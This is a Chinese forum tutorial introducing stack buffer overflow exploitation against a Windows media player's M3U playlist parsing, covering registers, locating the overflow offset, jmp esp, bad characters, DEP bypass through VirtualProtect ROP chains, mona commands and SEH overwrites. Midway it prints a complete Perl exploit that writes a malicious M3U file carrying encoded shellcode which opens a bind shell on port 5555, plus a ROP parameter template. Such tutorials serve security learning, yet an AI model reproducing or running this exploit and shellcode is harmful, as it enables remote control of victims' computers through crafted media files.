溢出入门文章Ver.1

2013-10-26 19:49:27 70 14718 10


开头我很纠结,因为原理解释会很抽象。
但是请放心,我会完全以我的风格去解释,但是细节就不用较真了。
由于操作解释过程却是十分简单的,但是理论却很繁琐。
假如我只写如何溢出 如何定位溢出点,如何定位shellcode 执行编写shellcode,
操作示意基本不用几百个字几张图片就能完成。
但这样就不叫入门了,理论还是尽可能的理解吧。
既然不能写的范围广也不能写的太普通狭窄,所以我决定,先写概述 介绍溢出,再介绍如何Fuzzing。
深入浅出(先难后易) 如果有不对的地方请望指点
A B C D E F G


最好还是下载附件查看

0x0A(理解)
D---------------------------------------------------------------------------------
首先一个硬盘中的一个可执行PE文件被运行装载>压入内存>内存交给cpu运算计算执行
.text
代码区存放着 2进制代码
.date
存放着全局变量
堆区
动态内存分配内存空间大小 回收空间(释放内存)
栈区
储存函数直接的调用关系

BSS存放的是未初始化的全局变量和静态变量

heap 堆 stack 栈
----------------------------------------------------------------------------------
A----------------------------------------------------------------------------------
1.建站的时候 比如php,你会把代码先放入一个空间。
2.然后一个funtion.php gloaxx.php的文件定义全局变量,以便于我们在不同的地方调用。
3.有时我们需要上传附件删除附件,建立模板 建立插件,副产品会生成类似缓存文件。
完成这一切后
4.我们需要一个index.php入口文件来输出执行页面调用页面为了防止用户跑到其他的地方,我们会设定一个数组。
至于假如没有这个数组限制被可控制调用,那么一个常见LFI就出现了——任意代码执行(笑我想这个大家都懂呵呵)
即控制返回地址执行shellcode
上面一一对应就好理解了
-----------------------------------------------------------------------------------
D---------------------------------------------------------------------------------
eax, ebx, ecx, edx, esi, edi, ebp, esp
esp:寄存器存放当前线程的栈顶指针
ebp:寄存器存放当前线程的栈底指针
EAX 是"累加器"(accumulator), 它是很多加法乘法指令的缺省寄存器。

EBX 是"基地址"(base)寄存器, 在内存寻址时存放基地址。

ECX 是计数器(counter), 是重复(REP)前缀指令和LOOP指令的内定计数器。

EDX 则总是被用来放整数除法产生的余数。

ESI/EDI分别叫做"源/目标索引寄存器"(source/destination index),因为在很多字符串操作指令中, DS:ESI指向源串,而ES:EDI指向目标串.

EBP是"基址指针"(BASE POINTER), 它最经常被用作高级语言函数调用的"框架指针"(frame pointer). 在破解的时候,经常可以看见一个标准的函数起始代码:

eip:寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行。
push ebp ;保存当前ebp
mov ebp,esp ;EBP设为当前堆栈指针
sub esp, xxx ;预留xxx字节给函数临时变量.
这样一来,EBP 构成了该函数的一个框架, 在EBP上方分别是原来的EBP, 返回地址和参数. EBP下方则是临时变量. 函数返回时作 mov esp,ebp/pop ebp/ret 即可.<<ROP 模式 ret返回
-----------------------------------------------------------------------------------
A----------------------------------------------------------------------------------
人类的通用习惯把那些自己不了解的东西理解成自己了解的东西加以分析
至于什么是EAX esp ebp 那些 你可以把它理解为任何你认为的东西
怎么好理解怎么理解哪怕是小兔兔也行
但是最后还是要知道的就像国际通用语言“虽不明但觉利”看着明白就行

常见for语句 你会设定i=0 然后i++ 到了i=xxx的时候选择跳出循环去哪里玩(switch)
i=0 就是EBX  i++ 就像EAX 会不断的加减数值然后赋予给自己 剩下的理解类似
至于esp ebp 简单就像"{"头和"}"尾 代码是一行一行执行的 指向哪里就执行哪里 esp就是头 ebp就是尾部
eip就是将要执行的下一个地址

-----------------------------------------------------------------------------------(引导)
<?php
//include './xxx.php'
function ok(){
$b='bbbbb';
$a='aaaaa';
return $a;
}
echo ok();
?>
return $a 相当于返回了上一行并取了值
在环境中假如限定了变量的大小
但是依然输入大于空间的值数据会一直以内存的方式覆盖后面的代码 比如b的空间为5个字符我输入了6个字符
那么返回的时候return $a 就会显示baaaa
假如我们进一步(b*11)覆盖到return 覆盖其返回地址我们就可以返回 执行任何一个地方的代码

这里写的是php的代码方便理解
为什么说php相比C要简单 因为php是框架类语言
echo 并不是直接由函数输出了 而是由php解析成print在底层输出后返回的值
而且每执行一次就要解析一次 所以php的函数并不是看起来那么安全有效
比如CVE-2011-1938 php 5.3.3-5.3.6 socket_connect() 溢出
假如在远程第一参数可控 进行溢出以后执行任意shellcode 或者一个反弹cmdshell
PHP 5.3.5 phar format string (http://sebug.net/vuldb/ssvid-20375) 格式化字符 即%s 字符型内存泄露 不仅输出 还有唯一的一个%n写入字符写入内存

网上虽然没有exp 但是稍做分析exp轻松写出

在本地无法执行命令的情况下执行shellcode提权获取cmdshell 等等
假如我们掌握了溢出的方法相信在渗透方面会更进一步

0x1A正题(一切的开始)
很多播放器都有本地溢出漏洞 原因是在特定文件中取值的处理不当
以m3u为例

一个以http:// 开始的一个网络连接 以一个换行为终结符号

|http://|xxxxxxxxxxxxxxxxxx|/|xxxx.mp3|"\r\n"

比如在mp3中专辑图片也存放在文件的一个位置那格式就是这样的

|音频数据|(特定地址)图片数据|结束

我们填充一个比较大的数据

用播放器执行以后 发生了异常



从0012D084 开始(98)(A7)(15)(00) 41(0012D084+4) 发生了异常
从0012D088开始到0012D18C 用计算机器 16进制计算长度就是(HEX:104)260字节+4字节 (4字节就是AAAA 原本是返回的地址比如0x012Dxxx什么的) 264-4就是正常空间大小
从0012D088 后面260-264就是上面说的return $a地址 (通俗的说就是溢出点呵呵)也许中间或者上面有个$b(arg1) $c(arg2)什么的吧 但是同样被覆盖了
EIP已经变成了41414141 就是AAAA 说明我们已经成功控制了返回地址
细心的小伙伴已经发现了EDI
里面的SysFile.dll 说明问题出现在调用SysFile.dll 里的函数上
原则上我们可以先用IDA 逆向出源代码 然后分析出有问题的函数 然后回溯到输入位置 然后再进行Fuzz
是不是感觉和php差不多呵呵就是白盒+黑盒的概念
但是不同的是 PE文件不是真正的源代码 如何分析就要看怎么逆向了
同样黑盒测试我们可以毫无目的的去填充字符 只要有足够的时间 期望程序抽风 遇到某个xxx小的地方让它崩溃 你也能捡到0day(笑)
继续执行

按下shirt+F9 继续程序运行 内存错误 0x41414141 因为地址不存的非法指令所以程序报错 后面会说异常处理

调式一下 我们填充264字节个A

首先会跳到Default.m3u获取播放地址

lstrcpynA 复制 260字节空间 导致溢出

POP 逐步压入大于260字节的字符进入 寄存器 覆盖RETN地址

IDA PRO 反编译可发现大小 104(Hex)=260字节


位于TryDownloadURL 函数也有这样的问题 这样通过静态分析 有针对的去回溯这个函数用到的地方 填充Fuzz一个大于104(HEX)就会发生溢出

0x2A(攻击开始)(如何让我们的小伙伴猥琐欲为)
溢出有 本地溢出和远程溢出
本地包括内核,驱动还有文件
远程包括网络协议和数据包格式 我这笨蛋懂的不多就写着看看不要计较

ESP头0012D190 说明程序执行到这里了 414141什么的就是机械码 灰色的区域就是已经执行过了的区域
现在执行到了0012D190 不清楚ESP EBP EIP返回地址的同学请回顶部F5一下你的大脑数据 假如你的大脑还不能理解 可以去释放一下内存 和妹子聊聊天什么的

既然我们确定了溢出点 那就可以开始邪恶了 最重要的就是植入shellcode 定位shellcode 最后让他执行起来
常见的办法是让他跳转到栈顶 继续执行下面的shellcode  搜索内存里面的jmp esp/eax  call esp/esi 等等跳到不同的位置再偏移到shellcode就行非常简单
还有一个方法就是ROP链 说起堆的溢出就比较麻烦了 但是也很简单 就是通过堆地址的方式去定位栈的或者堆的shellcode地址执行 有很高的通用性
同时可以通过调用函数的方式绕过DEP保护和ASLR 当然原理是如此技术却有所不同
最后我们的导弹设计成这样 $junk.$eip.$nops.$shellcode;
>(填充260个字节溢出)燃料>(覆盖eip eip定位到jmp esp windows通用地址0x7ffa4512)航电系统>防火墙(架空地址)>弹头(shellcode)

最后给出exp 用播放器打开以后 会建立一个本地5555端口连接
其他的shellcode 可以去 msf中取

(badchar)__坏字符
另外一点溢出的时候shellcode可能无法执行 就像eval(preg_match( 我们一些字符被转义了
比如不允许使用0x90一下的hex进制码 或者0x20 通过内存的shellcode与实际shellcode我们可以对比出
具体过滤了那些 然后在shellcode的头部加一个编码器 这样就可以绕过并执行命令了
就像使用php:// base64

最后放出exp 执行以后 telnet 127.0.0.1 5555 就可以看到效果了
#!/usr/bin/perl
#exp by anlfi
$file = "cmdshell5555.M3U";
$junk = "A" x 260;

$eip = pack('V', 0x7FFA4512);
$nops = "\x90" x 20;

#bindport backdoor 5555
$shellcode= "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" .
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" .
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" .
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" .
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x46\x4b\x4e" .
"\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x48" .
"\x4e\x36\x46\x32\x46\x32\x4b\x48\x45\x34\x4e\x43\x4b\x58\x4e\x37" .
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x51\x4b\x58" .
"\x4f\x45\x42\x42\x41\x30\x4b\x4e\x49\x54\x4b\x38\x46\x43\x4b\x58" .
"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c" .
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e" .
"\x46\x4f\x4b\x43\x46\x45\x46\x32\x4a\x42\x45\x37\x45\x4e\x4b\x58" .
"\x4f\x35\x46\x42\x41\x30\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x54" .
"\x4b\x38\x4f\x45\x4e\x31\x41\x50\x4b\x4e\x43\x30\x4e\x52\x4b\x38" .
"\x49\x38\x4e\x46\x46\x32\x4e\x41\x41\x36\x43\x4c\x41\x43\x4b\x4d" .
"\x46\x46\x4b\x48\x43\x54\x42\x43\x4b\x48\x42\x54\x4e\x50\x4b\x48" .
"\x42\x37\x4e\x31\x4d\x4a\x4b\x38\x42\x34\x4a\x30\x50\x45\x4a\x46" .
"\x50\x58\x50\x54\x50\x50\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x46" .
"\x43\x35\x48\x36\x4a\x46\x43\x33\x44\x53\x4a\x46\x47\x47\x43\x47" .
"\x44\x53\x4f\x35\x46\x45\x4f\x4f\x42\x4d\x4a\x46\x4b\x4c\x4d\x4e" .
"\x4e\x4f\x4b\x33\x42\x45\x4f\x4f\x48\x4d\x4f\x55\x49\x48\x45\x4e" .
"\x48\x36\x41\x58\x4d\x4e\x4a\x30\x44\x50\x45\x35\x4c\x56\x44\x30" .
"\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x50\x45\x4f\x4d\x4a\x47\x45" .
"\x4f\x4f\x48\x4d\x43\x35\x43\x35\x43\x55\x43\x45\x43\x35\x43\x54" .
"\x43\x35\x43\x34\x43\x35\x4f\x4f\x42\x4d\x48\x36\x4a\x36\x45\x31" .
"\x43\x4b\x48\x56\x43\x35\x49\x38\x41\x4e\x45\x39\x4a\x46\x46\x4a" .
"\x4c\x51\x42\x57\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x46\x42\x41" .
"\x41\x55\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x52" .
"\x49\x4e\x47\x55\x4f\x4f\x48\x4d\x43\x55\x45\x55\x4f\x4f\x42\x4d" .
"\x4a\x46\x45\x4e\x49\x44\x48\x58\x49\x44\x47\x55\x4f\x4f\x48\x4d" .
"\x42\x45\x46\x35\x46\x45\x45\x45\x4f\x4f\x42\x4d\x43\x49\x4a\x36" .
"\x47\x4e\x49\x47\x48\x4c\x49\x57\x47\x35\x4f\x4f\x48\x4d\x45\x55" .
"\x4f\x4f\x42\x4d\x48\x46\x4c\x46\x46\x46\x48\x36\x4a\x36\x43\x56" .
"\x4d\x36\x49\x48\x45\x4e\x4c\x56\x42\x45\x49\x55\x49\x52\x4e\x4c" .
"\x49\x38\x47\x4e\x4c\x36\x46\x44\x49\x38\x44\x4e\x41\x33\x42\x4c" .
"\x43\x4f\x4c\x4a\x50\x4f\x44\x44\x4d\x42\x50\x4f\x44\x54\x4e\x32" .
"\x43\x49\x4d\x48\x4c\x47\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36" .
"\x44\x57\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x37\x46\x54\x4f\x4f" .
"\x48\x4d\x4b\x45\x47\x45\x44\x55\x41\x35\x41\x45\x41\x35\x4c\x56" .
"\x41\x30\x41\x35\x41\x35\x45\x45\x41\x55\x4f\x4f\x42\x4d\x4a\x46" .
"\x4d\x4a\x49\x4d\x45\x50\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x46" .
"\x4f\x4f\x4f\x4f\x47\x53\x4f\x4f\x42\x4d\x4b\x48\x47\x35\x4e\x4f" .
"\x43\x38\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x35\x4f\x4f\x42\x4d" .
"\x4a\x36\x42\x4f\x4c\x48\x46\x30\x4f\x35\x43\x35\x4f\x4f\x48\x4d" .
"\x4f\x4f\x42\x4d\x5a"."\r\n";


open(FILE,">$file");
print FILE $junk.$eip.$nops.$shellcode;
close(FILE);
0x3A怪叔叔(我们的敌人)
这个时候我们的3大敌人就出现了 DEP(数据保护) SafeSHE(安全异常处理) 和ASLR(内存地址随机分配)
D:这里我大概说明一下DEP就像 web里面的不可执行目录不允许你去执行里面的文件或者执行已经执行的文件
A:解决方法就像是php的chmod() 函数 设置目录的可执行权限 在系统里面我们同样可以利用某些函数去绕过DEP限制
(注意的是开启DEP保护并非是所有软件 开启了的软件 就无法使用jmp esp回到栈顶执行shellcode)
DEP分硬 和软 硬件就是CPU指令上DEP 软件就是win自带的数据保护机制 原理类似

D:ASLR内存基址随机分配 这个机制从vista开始 内存随机的存放然后以特定的方法读取 确保数据的安全与完整性 就像是某cms 缓存随机的命名.php文件 然后调用
A:解决的办法也有很多 内存申请地址不是无限的 我们可以不断的申请99%无效的地址 然后1%的地址一定就是我们要的地址
略微想一下 某cms 缓存随机的命名.php文件 然后调用 在php环境我们会怎样?创建N个0字节的.php文件那然后最后那一个我们预留的就是shell地址 同样我们还可以暴力去遍历最后取得shell位置
==================
绕过DEP保护可以利用函数 那到底有哪些呢? 如下表

(1)代表当前OS(系统)不存在这个函数
(2)代表当前OS(系统)的DEP新策略使之绕过技术无效化了
一般经常用 VirtualProtect  通用性比较好 作用就是最简单的修改执行属性
一些其他函数依然类似 不过有些是通过冻结DEP保护来达到绕过的目的
BOOL WINAPI VirtualProtect(
  __in   LPVOID lpAddress,
  __in   SIZE_T dwSize,
  __in   DWORD flNewProtect,
  __out  PDWORD lpflOldProtect
);
第一个为shellcode的基址即被DEP保护的位置
第二个shellcode的大小 当你的shellcode加入了编码器的时候自然也会相应的变大
第三个新的的保护地址
第四个旧的保护地址变量

上面我也提及了DEP到底会有什么影响 一般我们覆盖了EIP的地址
就可以控制指针的下一步指向 但是由于DEP 我们无法往回跳或者返回栈顶继续执行shellcode(jmp esp) shellcode自然也就不会被执行
这个时候就要我们来构造ROP链以函数的方式让shellcode执行起来 (这里不要看很难在B节我会具体写如何构造其实也是很简单的)
由函数可知我们需要4把钥匙 然后把他们全部放到寄存器里 另外一种方法就是放入堆中类似DWORD SHOOT
pop-pop-ret ROP 意思就是利用这一语句跳到函数的头即ESP 构造ROP链的时候我们会跳转到VirtualProtect函数的地址 依次压入


!mona rop 搜索用于构造rop链的地址
最后由函数的地址修改其执行等级后进行偏移 EAX 计数器 +基址跳到shellcode地址 shellcode就能被成功执行
上面并不是真正的rop 只是一个跳板 但是ROP的思路就是如此

步奏基本如下
junk(填充字符到达溢出点)
eip(覆盖EIP)
junk(继续一小段nop覆盖确保命中率)
rop chain to generate/write the parameters(pop 写入参数)
rop chain to call the VirtualProtect function(调用VirtualProtect 修改执行属性)
more rop / some padding / nops(继续一小段nop覆盖确保命中率or进行偏移)
shellcode(执行shellcode)
junk(继续一小段nop覆盖确保命中率)
$params=pack('V',0x01010101);   #return address//VirtualProtect
$params = $params."XXXX";          #lpAddress
$params = $params."YYYY";          #Size - Shellcode length
$params = $params."ZZZZ";          #flNewProtect
$params = $params.pack('V',0x10035005);   #writeable address

在VirtualProtect地址设置断点 手工确定 xxx yyyy zzz个参数 F7 执行修改成功执行shellcode ROP就算构造完毕了 然后替换为我们的值

至于ASLR 可以参考http://www.freebuf.com/articles/system/15149.html 没必要与ASLR正面交锋 很多dll 是未加ASLR 然后调用它就可以绕过了
当然不可避免的还是需要依靠一些技术 比如堆喷射

0x0BTea Time(回忆)







0x1B草莓蛋糕(工具党的福利exp快速开发)
我等手残党数学渣的小学生如何写溢出exp呢?
嘛嘛首先用Immunity Debugger 附加目标程序 或者用sulley 开始写个轮子什么的 不会? 百度吧很多的实在找不到去找大神
继续上面超级解霸 通过计算为260字节
!mona findmsp

人家已经帮你准确计算好了


然后!mona suggest 去捡exp 有些无法生成 那就手动去生成吧 可以用mona 去搜索 jmp esp 指令地址覆盖到eip 再接上shellcode就行了 可以参考上面的exp模板







特别给你们找了一个练手Knet 下一次我再详细写还会附上视频
SEH ROP 构造 和eip控制都可以溢出的东东
即返回地址和 异常处理地址 try 会以一种方式去处理溢出 一般情况会通过线程附加到当前函数的SHE链 不断寻找解决办法 当无法解决就抛出异常结束程序
我们可以改变他解决办法的方案 即异常处理返回地址 为shellcode 他就会乖乖的去执行shellcode 当做问题的解决办法
好像1229是eip 1260是SHE 我没截图啦:P //findmsp 会帮你自动计算出来 所以这里有2种思路1.是覆盖eip控制执行 2.是控制SHE


老规矩(!mona suggest ROP都帮你构造好了 可以过Win7 DEP 也就是说可以在win7下溢出 控制eip的方法就对win7无效了





经常我们要遇到ASLR DEP 等等保护怎么才能知道呢 随便打开一个 txt 比如findmsp.txt

其他东西下次在写 ROP链的构造 堆喷射 异常处理等等 请原谅我的懒惰吧 实在东西太多了 而且我也只是自学的 说的多就错的多╮(╯▽╰)╭ 但是实战是没有任何问题的 理解不同不可能让所有人去接受
0x2B Book Time(资料)
这里本来是打算上视频教程的 我打算放到下一贴详细介绍 这一章就算是入门
http://www.exploit-db.com/wp-content/themes/exploit/docs/29139.pdf
Format String
Kullanıcı taraflı alınan girdilerin(inputs) eksik denetiminden ötürü uygulama içerisinde
kullanılacak alanın içerisine yerleşen özel tanımlandar(%x gibi) dolayı oluşurlar. c dilindeki
printf bunun için sık kullanın örnek bir function'dır.
Bir ftpserver 'da bulunan Format String Zafiyeti:
http://www.exploit-db.com/exploits/20957/
 Stack Buffer Overflows
Local değişkenler, return adresleri kısacası process'ın akışı Stack segmentte saklanır demiştik.
Stack için tahsis edilen bu alanın mevcut kapasitesi aşılırsa/taşarsa, Stack Buffer Overflow
hataları oluşmaktadır.
Microsoft IIS Ftp Server'da bulunan Stack Overflow Zafiyeti:
http://www.exploit-db.com/exploits/9541/
 Heap Buffer Overflows
Değişkenlere Heap segmentte yer tahsis edilir demiştik(malloc) tahsis edilen bu alan kapsite
olarak aşılırsa/taşarsa, Heap Buffer Overflow hataları oluşmaktadır.
Microsoft Internet Explorer'da bulunan Heap Overflow Zafiyeti:
http://www.exploit-db.com/exploits/20174/
 Use After Free
Değişkenlere ayrılan alan işleri bittiğinde yok edilir demiştik(free), bir alan yok edildikten
sonra tekrar kullanılırsa Use After Free hataları oluşmaktadır.
Microsoft Internet Explorer'da bulunan Use After Free Zafiyeti:
http://www.exploit-db.com/exploits/28682/
 Double Free
Değişkenlere ayrılan alan işleri bittiğinde yok edilir demiştik(free), bir alan yoketme
tekrarlanırsa Dobule Free hataları oluşmaktadır.
Microsoft Internet Explorer'da bulunan Double Free Zafiyeti:
http://www.exploit-db.com/exploits/3577/

文献网站

https://www.corelan.be/

http://www.greyhathacker.net/

http://www.programlife.net/heapspray-cve2012-1889-exploit-3.html

0xCC

指令

!mona pattern_create 10000

!mona findmsp

!mona suggest

!mona rop

寻找rop链

!mona she

She 中的 pop pop ret



以后大家可以去exploit-db上找一些漏洞调试来不断自我学习

关于作者

anlfi55篇文章3288篇回复

评论70次

要评论?请先  登录  或  注册